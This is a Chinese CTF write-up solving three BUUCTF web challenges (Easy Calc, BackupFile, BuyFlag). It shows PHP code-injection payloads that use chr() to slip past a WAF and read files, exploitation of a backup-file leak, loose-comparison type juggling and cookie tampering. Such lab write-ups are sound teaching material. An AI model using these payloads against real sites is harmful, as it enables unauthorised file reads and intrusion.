目录
[RoarCTF 2019]Easy Calc
启动靶机,发现有个计算器
输入一些运算符能正常输出,输入ping 127.0.0.1 发现报错
右键查看一下源代码
访问一下calc.php , 这个应该就是所提到的waf。
有传参,尝试一下有没有命令执行
http://node4.buuoj.cn:28378/calc.php?num=123
但是输入字符就会被狗拦下
到这里,有点懵,借鉴了一下大佬的wp
1. 用scandir()扫一下目录
scandir() 函数返回指定目录中的文件和目录的数组。
? num=print_r(scandir('/'))
# 使用chr()绕过
? num=print_r(scandir(chr(47)))
2. file_get_contents() 读文件。
? num=print_r(file_get_contents('/f1agg'))
使用chr来绕过
? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
拿到flag flag{83a8f33e-8996-44bf-be31-6cb5e6e698f7}
[ACTF2020 新生赛]BackupFile
启动靶机
用御剑扫扫,访问发现,都是上面这个页面。右键查看源码,也没啥新发现。
题目是备份,访问一下/index.php.bak
用记事本打开下载的备份
代码审计,GET传了个key,而且只要key和$str相同就会输出flag ,但是key必须是数字。
思路: 若满足 $key == $str ,其中$key是纯数字,那么$str会自动变为数字,即$str=123
构造payload
/index.php?key=123
拿到flag flag{87d82118-97bc-4656-9bed-79d4ccc58b9a}
[极客大挑战 2019]BuyFlag
启动靶机,右键查看源代码,发现了两个php文件
index.php 是首页,访问一下pay.php,右键查看一下源码
审计,POST传password。password的值不能全是数字但要满足$password == 404,直接传password=404/
抓个包分析一下
感觉这个用户和cookie中的user有关,把user改成1试试
好家伙,竟然要我支付,回想之前代码审计第一行中
我们现在只穿了password一个参数,试着传money参数
多付钱都不行,尝试一下科学计数法
拿到flag flag{e03c7608-feab-491f-bacb-23eead73b775}